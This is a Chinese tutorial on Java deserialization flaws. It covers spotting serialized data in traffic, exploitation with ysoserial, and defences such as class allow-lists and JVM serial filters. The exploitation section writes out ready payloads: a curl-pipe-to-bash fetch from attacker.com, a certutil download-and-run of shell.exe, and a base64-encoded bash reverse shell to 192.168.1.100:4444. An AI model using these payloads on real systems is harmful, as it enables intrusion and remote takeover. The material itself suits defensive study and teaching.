Java 反序列化漏洞检测 3 步法:从流量识别到 ysoserial 利用
1. 漏洞原理与危害场景
Java 反序列化漏洞的本质在于:当应用程序对不可信的序列化数据进行反序列化操作时,攻击者可以通过构造恶意序列化数据,在目标系统上执行任意代码。这种漏洞通常出现在以下场景:
- RMI/HTTP协议传输的序列化对象
- JMX、JMS等分布式通信组件
- 缓存系统(如Redis)存储的序列化数据
- 自定义的序列化/反序列化逻辑
典型攻击链:
序列化恶意对象 → 传输至目标系统 → 触发反序列化 → 执行危险操作(如Runtime.exec())关键风险点在于,许多Java库(如Apache Commons Collections)中存在"gadget chain"(工具链),这些链式调用可以在反序列化过程中被触发。例如:
// 典型的危险反序列化代码示例 ObjectInputStream ois = new ObjectInputStream(inputStream); Object obj = ois.readObject(); // 风险点!2. 流量特征识别技术
2.1 识别序列化数据特征
Java序列化数据通常具有以下特征标识:
- 十六进制开头:
AC ED 00 05(魔数) - Base64编码特征:通常以
rO0开头 - 常见Content-Type:
application/x-java-serialized-objectapplication/octet-stream
Burp Suite检测方法:
安装
Java Serialization Scanner插件在Proxy或Repeater模块观察请求:
POST /api/v1/process HTTP/1.1 Content-Type: application/x-java-serialized-object [HEX: AC ED 00 05 73 72 00...]使用插件主动扫描:
提示:该插件会自动检测HTTP请求中的序列化数据,并标记潜在风险
2.2 关键检测指标
| 检测维度 | 安全特征 | 风险特征 |
|---|---|---|
| 协议类型 | JSON/XML | Java序列化二进制流 |
| 内容编码 | 明文文本 | Base64编码的二进制数据 |
| 请求头 | 标准Content-Type | application/x-java-serialized-object |
| 流量模式 | 常规业务参数 | 包含明显类名(如AnnotationInvocationHandler) |
3. 漏洞利用实战:ysoserial工具链
3.1 环境准备
- 下载ysoserial:
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests - 常用payload类型:
CommonsCollections1-7 Groovy1 Spring1 Hibernate1
3.2 Hibernate5利用案例
针对使用Hibernate框架的系统:
# 生成Payload(Linux环境) java -jar ysoserial.jar Hibernate1 "curl http://attacker.com/shell.sh | bash" > payload.bin # 发送恶意请求 curl -X POST --data-binary @payload.bin \ -H "Content-Type: application/x-java-serialized-object" \ http://target.com/api/deserialize关键参数说明:
Hibernate1:利用Hibernate的TemplatesImpl链- 命令中的管道符需要根据目标OS调整:
# Windows示例 "cmd.exe /c certutil -urlcache -split -f http://attacker.com/shell.exe C:\\Temp\\shell.exe && C:\\Temp\\shell.exe"
3.3 跨平台Payload调整技巧
不同操作系统需要适配的命令格式:
| 操作系统 | 命令分隔符 | 示例命令 |
|---|---|---|
| Windows | & | ping 127.0.0.1 & whoami |
| Linux | ; | sleep 5; id |
| MacOS | ; | open /Applications/Calculator.app |
特殊字符处理:
// 使用Base64编码规避特殊字符限制 String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}";4. 防御与检测方案
4.1 安全编码实践
- 替换方案:
// 使用JSON替代Java序列化 ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(obj); - 输入验证:
// 白名单校验类名 private static final Set<String> ALLOWED_CLASSES = Set.of( "com.example.SafeClass", "java.util.ArrayList" ); public Object safeDeserialize(byte[] data) { ObjectInputStream ois = new RestrictedObjectInputStream(data); // ... }
4.2 运行时防护
JVM级防护:
# 添加JVM参数限制反序列化 -Djdk.serialFilter="!org.apache.commons.collections.functors.*,!com.sun.rowset.JdbcRowSetImpl*"推荐工具对比:
| 工具名称 | 检测能力 | 防护方式 | 适用场景 |
|---|---|---|---|
| Contrast Security | 实时字节码分析 | 运行时阻断 | 生产环境 |
| OWASP Java Encoder | 输入过滤 | 编码防护 | 开发阶段 |
| SerialKiller | 类名白名单 | 拦截恶意反序列化 | 中间件防护 |
在实际项目中,我们曾遇到一个典型案例:某金融系统因使用Apache Commons Collections 3.1版本,攻击者通过精心构造的序列化数据,仅用37字节的payload就实现了远程代码执行。这充分说明及时更新依赖库的重要性。